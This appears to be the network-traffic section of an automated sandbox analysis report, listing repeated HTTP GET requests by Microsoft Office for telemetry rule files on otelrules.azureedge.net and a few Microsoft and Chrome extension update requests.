Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
